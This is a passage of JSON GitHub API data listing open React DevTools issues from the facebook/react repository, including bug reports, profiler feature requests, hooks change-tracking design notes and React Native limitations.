"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 1,
"created_at": "2019-08-19T22:24:43Z",
"updated_at": "2020-01-08T19:11:00Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "I got this on FB.com sandbox:\r\n\r\n
\r\n\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/25",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16488/reactions",
"total_count": 1,
"+1": 1,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16487",
"id": 482556578,
"node_id": "MDU6SXNzdWU0ODI1NTY1Nzg=",
"number": 16487,
"title": "DevTools: Crashes and warnings when quickly collapsing",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:24:17Z",
"updated_at": "2020-01-08T19:10:59Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "This is weird. Happens if I select a node deeply and then long-press \"left\" arrow.\r\n\r\n```\r\nInvalid index 154 specified; store contains 154 items.\r\n\r\nUncaught Invariant Violation: Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.\r\n at ReactError (file:///Users/gaearon/p/react-devtools-experimental/shells/dev/build/devtools.js:8529:40)\r\n```\r\n\r\nIt starts with \"invalid index\" and then gives me different React invariants or warnings depending on how lucky I am.\r\n\r\n\r\n\r\n---\r\nMore weird symptoms:\r\n\r\n
\r\n\r\n---\r\n
\r\n\r\n---\r\nThis \"fixes\" it:\r\n\r\n```diff\r\n runWithPriority(UserBlockingPriority, () => dispatch(action));\r\n- next(() => dispatch({ type: 'UPDATE_INSPECTED_ELEMENT_ID' }));\r\n+ runWithPriority(UserBlockingPriority, () => dispatch({ type: 'UPDATE_INSPECTED_ELEMENT_ID' }));\r\n },\r\n```\r\n\r\nSo I suspect it's a bug with `Scheduler.next()`.\r\n\r\n---\r\nThis also looks funky. Note how somewhere in the middle right pane gets \"stuck\" showing the same cycle of values:\r\n\r\n\r\n\r\n---\r\nReact bug: https://github.com/facebook/react/issues/15512\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/228",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16487/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16483",
"id": 482551102,
"node_id": "MDU6SXNzdWU0ODI1NTExMDI=",
"number": 16483,
"title": "DevTools: Better linking between browser Performance tab and DevTools Profiler",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:07:31Z",
"updated_at": "2020-01-08T19:10:58Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Notes from a chat with Benoit:\r\n\r\nIt would be nice if starting profiling (or reload and profiling) in the browser auto-started profiling in DevTools.\r\n\r\nIt would also be nice if viewing a range of time in the Performance tab narrowed down the commits within the Profiler. At least starting the profilers at the same time would enable a manual match-up.\r\n\r\nTo my knowledge, none of the currently available APIs (including experimental) would enable us to support this level of integration.\r\n\r\n---\r\nIf we were to make use of the DevTools protocol, we could [`Profiler.start`](https://vanilla.aslushnikov.com/?Profiler.start) and [`Profiler.stop`](https://vanilla.aslushnikov.com/?Profiler.stop) the built-in profiler in sync with React's own profiler. Chrome's profiler also dispatches [`Profiler.consoleProfileStarted`](https://vanilla.aslushnikov.com/?Profiler.consoleProfileStarted) and [`Profiler.consoleProfileFinished`](https://vanilla.aslushnikov.com/?Profiler.consoleProfileFinished) events which we _could_ use to follow the browser's profiler if we wanted to.\r\n\r\nThere do not appear to be any APIs/events for syncing the zoomed-in range.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/37",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16483/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16482",
"id": 482550920,
"node_id": "MDU6SXNzdWU0ODI1NTA5MjA=",
"number": 16482,
"title": "DevTools: Should Profiler surface the base duration?",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:07:02Z",
"updated_at": "2020-01-08T19:10:58Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Benoit shared feedback that it would be helpful to show the base duration for the tree (and/or selected element) to get a sense of the total cost over time. (Not sure yet what we'd call this.)\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/55",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16482/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16481",
"id": 482550722,
"node_id": "MDU6SXNzdWU0ODI1NTA3MjI=",
"number": 16481,
"title": "DevTools: Collect more info when profiling",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 4,
"created_at": "2019-08-19T22:06:29Z",
"updated_at": "2020-04-17T18:37:54Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Some feedback I've heard from a DevTools user (roughly transcribed by me):\r\n\r\n> I'm trying to pinpoint those renders...with hooks, it's sometimes more unclear to me why something is rendering...I generally don't use devtools much anywhere. I use console.log. But Redux devtools worked really well for me because I could see when things were changing and what exactly changed.\r\n\r\nMaybe we could add an opt-in mode (in Settings > Profiler) to collect more data when profiling about _why_ a component rendered. For example, if `props` or `state` changed, we could show which keys changed (just their name, not their values). Maybe we could do something similar for context and for hooks?\r\n\r\nThen we could add this information to the right side panel for the selected fiber in the Profiler UI.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/98",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16481/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16480",
"id": 482550567,
"node_id": "MDU6SXNzdWU0ODI1NTA1Njc=",
"number": 16480,
"title": "DevTools: Fix disabled hooks lint rule",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"1": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:06:06Z",
"updated_at": "2020-01-08T19:10:57Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Disabled via 00f6466\r\n\r\nMore context at https://github.com/bvaughn/react-devtools-experimental/pull/154#discussion_r275134664\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/156",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16480/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16478",
"id": 482547444,
"node_id": "MDU6SXNzdWU0ODI1NDc0NDQ=",
"number": 16478,
"title": "DevTools: Component bookmarks",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710375792,
"node_id": "MDU6TGFiZWw3MTAzNzU3OTI=",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion",
"name": "Type: Discussion",
"color": "fef2c0",
"default": false,
"description": null
},
"2": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"3": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 3,
"created_at": "2019-08-19T21:57:12Z",
"updated_at": "2020-01-08T19:10:57Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Product developers sometimes find it useful to jump back and forth between a few components in a tree. Currently this requires scrolling or using the selection tool. Maybe we could allow you to temporarily bookmark one or more components somehow? Then the existing Search interface could maybe be repurposed to let you step between bookmarked components (when there's no search text).\r\n\r\nThese bookmarks would probably not need to be persisted between reloads, so they could be associated with the specific in-memory element1.\r\n\r\n1 Although this association would be lost with a filter change.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/305",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16478/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16477",
"id": 482547222,
"node_id": "MDU6SXNzdWU0ODI1NDcyMjI=",
"number": 16477,
"title": "DevTools: Profiler: Show which hooks changed",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": true,
"assignees": {},
"milestone": null,
"comments": 17,
"created_at": "2019-08-19T21:56:36Z",
"updated_at": "2021-07-17T01:01:16Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "# \"Can you show which hooks changed?\"\r\n\r\n...is a question I've heard a couple of times with regard to the new Profiler change-tracking feature. This request is certainly understandable, but it presents a couple of challenges:\r\n\r\n1. Identifying which hooks values change would requires shallowly re-rendering each function component.\r\n2. Identifying a hook in a non-ambiguous way requires displaying the full hooks tree structure, since hooks aren't named. (Alternately we could support named hooks, #16474)\r\n\r\nLet's take each of a look at each of these below.\r\n\r\n## 1 - Identifying which hooks values change\r\n\r\nOne of the challenge for DevTools when it comes to hooks is identifying custom hooks. Sebastian's [proposed solution](https://github.com/bvaughn/react-devtools-experimental/blob/master/src/backend/ReactDebugHooks.js) is that DevTools temporarily overrides React's hooks dispatcher while it shallowly re-renders the component. During the re-render, each time one of the built-in hooks is used, our override implementation parses the stack to identify \"custom hooks\" (functions higher up in the callstack that begin with \"use\"). After render is completed, we reassemble this information into a tree structure which DevTools can display.\r\n\r\nCurrently we only do this shallow render when a component is [inspected](https://github.com/bvaughn/react-devtools-experimental/blob/master/OVERVIEW.md#inspecting-an-element), but in order for us to track which hooks have changed while profiling, we would need to shallowly render _every_ component using hooks during the profiling session. Mostly likely we would have to do this during the performance sensitive \"commit\" phase since that's when DevTools is notified of an update.\r\n\r\nI think we could do better than re-running the above hooks override for every component on every commit if we:\r\n* Created a map of Fiber to cached hooks tree structure.\r\n* Lazily populate the above map (by shallow re-rendering) only when a component was updated for the first time.\r\n* Compared Fiber `memoizedState`s to identify changes on future commits and map them back to the tree structure based on their position in the list structure. 1\r\n\r\nHowever, even with the above optimizations this would still add significant overhead to a performance sensitive phase.\r\n\r\n1 I think this should work but might also end up being complicated to implement.\r\n\r\n## 2 - Identifying a hook\r\n\r\nAlthough the variables that hooks values are assigned to are meaningfully named, the hooks themselves are unnamed. Because of this, DevTools has no feasible way of identifying a hook short of displaying the entire hooks tree structure. Consider the following example code:\r\n\r\n```js\r\nfunction useCustomHook(...) {\r\n const [foo, setFoo] = useState(...);\r\n // ...\r\n}\r\n\r\nfunction ExampleComponent(props) {\r\n const [bar, setBar] = useState(...);\r\n const [baz, setBaz] = useState(...);\r\n const custom = useCustomHook(...);\r\n // ...\r\n}\r\n```\r\n\r\nThe example above shows 4 hooks: three `useState` and one custom. Let's say that \"foo\" and \"baz\" changed in a particular render. How would DevTools identify this? It could just show \"two state hooks\" but that's not very helpful. I think the only way we could identify it would be to show the entire tree, and visually highlight which hooks in it have changed:\r\n\r\n```\r\nState\r\nState *\r\nCustomHook\r\n State *\r\n```\r\n\r\nThis is _okay_ but it's not great unless the developer is cross-referencing the component (and probably the custom hooks definition as well). To help with this, we could also _show the values_ but now we're adding more overhead in terms of trackin and bridge traffic.\r\n\r\n## In summary\r\n\r\nClearly both of these challenges can be overcome but they are non-trivial to implement and they will certainly add more runtime overhead to the profiler. Because of this, it may be a while before we add this feature to the DevTools.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/312",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16477/reactions",
"total_count": 172,
"+1": 136,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 18,
"rocket": 0,
"eyes": 18
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16471",
"id": 482544193,
"node_id": "MDU6SXNzdWU0ODI1NDQxOTM=",
"number": 16471,
"title": "DevTools: React Native: Support reload-and-profile",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T21:47:53Z",
"updated_at": "2022-03-30T18:25:22Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "React DevTools v4 adds a new reload and profile feature to measure perf for application \"mount\" ([although it required a bit of hacking](https://github.com/bvaughn/react-devtools-experimental/pull/35)). I don't feel knowledgeable enough about React Native to tackle it, so my current plan is to just **not** support this feature for RN.\r\n\r\nIf we did decide to support it,I think we would need to solve the following:\r\n\r\n1. A reload hook on the backend that worked for all bundle types (not just DEV).\r\n2. Some assurance that the backend will be injected/initialized _before_ the first mount/commit (or a mechanism to delay the first commit, like we do in the browser).\r\n3. Some way for third party code to request a production+profiling build ([similar to how DOM does it](https://fb.me/react-profiling)).\r\n4. A sync storage mechanism (or some other way for DevTools could leave a flag for itself so it knows to begin profiling immediately after reload+connection).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/336",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16471/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16470",
"id": 482543940,
"node_id": "MDU6SXNzdWU0ODI1NDM5NDA=",
"number": 16470,
"title": "DevTools: React Native: Remember saved component filters between reloads",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T21:47:06Z",
"updated_at": "2020-01-08T19:10:55Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "DevTools v4 added a pretty powerful new component filtering feature that enables devs to filter out components by type, name, or file system location. Because these filters can be a bit elaborate to create, they are saved between sessions to improve dev experience.\r\n\r\n**Unfortunately, I don't think I am going to be able to support the persistence functionality for React Native.** (In other words, filters will be forgotten each time you reload the app.)\r\n\r\nThe reason for this is a mix of timing and context. The biggest limiting factor is the lack of a synchronous storage option. React Native has a couple of faux sync storage options, but they just in-memory wrappers around an async storage layer and they require async initialization. That _could_ work if the React Native backend waited to initialize DevTools until it also initialized the async storage layer, _but_ this has implications on reload-and-profile support (#336).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/337",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16470/reactions",
"total_count": 2,
"+1": 2,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16468",
"id": 482542595,
"node_id": "MDU6SXNzdWU0ODI1NDI1OTU=",
"number": 16468,
"title": "Remember saved component filters by url or in bookmarks",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 710375792,
"node_id": "MDU6TGFiZWw3MTAzNzU3OTI=",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion",
"name": "Type: Discussion",
"color": "fef2c0",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 4,
"created_at": "2019-08-19T21:43:09Z",
"updated_at": "2020-07-25T19:40:17Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "It would be cool if it will support saving filter based on url or some bookmarks. I think it will be really useful for switching between different projects. And seems that bookmarks is better solution because usually people have some different stages like production/pre-production/local development.\r\n\r\n---\r\nOriginally reported by @7rulnik via https://github.com/bvaughn/react-devtools-experimental/issues/359",
"closed_by": null,
"reactions": {
